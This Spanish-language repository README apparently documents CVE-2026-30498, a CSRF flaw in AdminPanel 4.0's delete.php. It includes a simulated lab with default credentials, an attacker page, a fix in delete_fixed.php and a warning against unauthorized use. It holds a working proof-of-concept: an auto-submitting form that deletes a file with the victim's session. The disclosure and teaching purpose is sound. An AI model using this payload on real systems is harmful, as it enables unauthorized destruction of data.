mehdi-ben-hamou/cve-2026-30498Demostración educativa de la vulnerabilidad CSRF con un entorno de laboratorio controlado, que incluye un exploit de prueba de concepto y una versión corregida con protecciones CSRF adecuadas.
ID CVE: CVE-2026-30498 (Reservado por MITRE)
Descubridor: Mehdi Ben Hamou
Existe una vulnerabilidad de Cross-Site Request Forgery (CSRF) en el endpoint delete.php de AdminPanel 4.0.
Esta vulnerabilidad permite a un atacante desencadenar acciones sensibles (eliminación de archivos) en nombre de un usuario autenticado sin su consentimiento.
La vulnerabilidad se debe a la ausencia de protecciones CSRF:
El endpoint vulnerable procesa las solicitudes directamente basándose en la sesión del usuario sin validar el origen de la solicitud.
Una explotación exitosa conduce a:
verifyPanel.phpUn atacante aloja una página web maliciosa que envía una solicitud falsificada:
http://localhost:8080/delete.php?file=verifyPanel.php
Cuando una víctima (usuario autenticado) visita esta página, el navegador incluye automáticamente las cookies de sesión y la solicitud se ejecuta.
<form id="csrfForm" action="http://localhost:8080/delete.php" method="GET">
<input type="hidden" name="file" value="verifyPanel.php">
</form>
<script>
document.getElementById("csrfForm").submit();
</script>
Esta solicitud se envía automáticamente con la cookie de sesión de la víctima.
php -S localhost:8080
http://localhost:8080
admin / admin123
http://localhost:8081/evil.html
/panel/dashboard.php
Este repositorio incluye un entorno de laboratorio controlado para reproducir la vulnerabilidad de forma segura.
Importante: Este laboratorio es una simulación y no representa el código original exacto de AdminPanel.
Para restablecer el entorno:
/reset.php
Se implementa una versión segura en:
delete_fixed.php
Protecciones añadidas:
victim/
├── index.php
├── delete.php
├── delete_fixed.php
├── reset.php
└── panel/
└── dashboard.php
attacker/
└── evil.html
Este proyecto está destinado únicamente a fines educativos y de investigación.
No utilice esta vulnerabilidad en sistemas sin la autorización adecuada.